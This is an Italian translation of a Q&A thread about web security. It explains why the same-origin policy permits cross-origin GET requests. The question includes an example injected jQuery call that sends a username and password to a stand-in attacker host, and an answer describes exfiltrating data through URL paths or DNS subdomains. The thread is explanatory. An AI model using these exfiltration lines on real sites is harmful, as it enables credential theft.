Perché lo stesso blocco dei criteri di origine non ottiene richieste contenenti argomenti?

Question

Perché lo stesso blocco dei criteri di origine non ottiene richieste contenenti argomenti?

#1 da (13 voti)
#2 da (7 voti)
#3 da (2 voti)

6

Da quello che ho capito, lo stesso criterio di origine impedisce agli script di una pagina web di comunicare con i server al di fuori del dominio attuale (usando post, xmlhttprequest, ecc.). Supponevo che anche le richieste di ottenere (con argomenti) tra domini fossero proibite. Questo è stato fino a quando ho iniziato a leggere sull'utilizzo di YQL per bypassare alcune restrizioni della stessa politica di origine. Gli esempi di codice utilizzano tutti una richiesta get ajax con parametri.

 $.ajax({
      type: "GET",
      url: 'http://query.yahooapis.com/v1/public/yql?q=' + encodeURIComponent(webServiceQuery),

Quindi diciamo che alcuni malintenzionati riescono a iniettare del malvagio javascript in una pagina web che raccoglie gli accessi. Qualcosa come:

$.ajax({
  type: "GET",
  url: 'http://evilServer.com?username=PresidentSkroob&password=12345

Il server ricevente può registrare ogni richiesta che arriva. Perché è permesso? Capisco perché desideri consentire le richieste di acquisizione senza dati (ad esempio l'importazione di jQuery), ma non vedo un motivo per consentire il passaggio di stringhe di query su più domini. C'è un motivo valido per cui la maggior parte dei browser lo consente?

xss same-origin-policy

posta CountMurphy 18.06.2012 - 22:42

fonte

3 risposte

7

Il criterio Stessa origine impedisce agli script di leggere il contenuto da una posizione non originata dallo script a partire dal. Gli attacchi CSRF si basano sul fatto che puoi trasmettere le richieste a un altro dominio e la lettura della risposta non ha importanza. Molte tecniche di prevenzione CSRF sfruttano il fatto che l'autore dell'attacco non può leggere la pagina prima di effettuare la richiesta . Quando carichi una pagina web, vengono inviate molte richieste a molti domini per caricare contenuti come immagini, css e persino javascript. Il blocco delle richieste a un altro dominio potrebbe rompere le funzionalità importanti.

XSS consente a un utente malintenzionato di eseguire JavaScript arbitrario proveniente da un sito Web di destinazione. Il samy worm ha utilizzato questa proprietà di XSS per leggere il token CSRF e le richieste di falsificazione.

Con l'avvento di "HTML 5" e CORS, puoi costruire un richiesta arbitraria che utilizza un xhr e la usa per sfruttare le vulnerabilità di CSRF . XHR genererà la richiesta, tuttavia se le intestazioni di risposta HTTP CORS non sono presenti, XHR non riuscirà a leggere la risposta ... Tuttavia, per consentire al browser di vedere se queste intestazioni di risposta http sono presenti, deve prima fare la richiesta. Questo comportamento è molto utile per la creazione di exploit CSRF come attacchi cross-site per il caricamento di file che normalmente non sarebbero possibili.

risposta data 19.06.2012 - 00:33

fonte

2

Fa tutto parte del supporto alle richieste di ajax interdominio. Puoi eseguire un GET, ma le intestazioni x-access-control- * determinano se il client può leggere o meno la risposta.

Se ciò non fosse possibile, un utente malintenzionato potrebbe comunque ottenere lo stesso eseguendo moduli con il metodo Get as o impostando tag iframes / script / img con attributi src che puntano allo stesso URL GET. Quindi questo non cambia nulla rispetto a SOP a meno che non vengano usate le intestazioni x-access-control- *.

risposta data 19.06.2012 - 16:26

fonte

Leggi altre domande sui tag xss same-origin-policy

Blacklisting vs whitelisting caratteri per prevenire XSS? Diventando conforme HIPAA

score 13 · Accepted Answer

I don't see a reason to allow query strings to be passed cross domain. Is there a legit reason why most browsers allow this?

Non c'è niente di speciale nelle stringhe di query. Si potrebbe anche esfiltrare le informazioni in una parte del percorso, evil.example.com/PresidentSkroob/12345 ... o anche il nome del dominio. ad esempio immagina di impostare l'indirizzo su PresidentSkroob.12345.evil.example.com ; se esegui DNS per evil.example.com puoi facilmente registrare le ricerche.

Come per XMLHttpRequest livello 2, i browser consentono l'invio di GET di origine incrociata senza preflight, ma non consentono la lettura dei risultati dalla risposta a meno che il dominio remoto non operi. Non c'è alcuna vulnerabilità aggiuntiva qui perché è possibile già causa un GET a un URL arbitrario da inviare (inclusa la stringa di query, per quello che vale) attraverso più interfacce di base.

Ad esempio sei sempre stato in grado di creare un elemento <img> con il suo src impostato su un indirizzo su un dominio remoto; eliminando quella capacità di dominio incrociato si romperebbe un sacco del web esistente.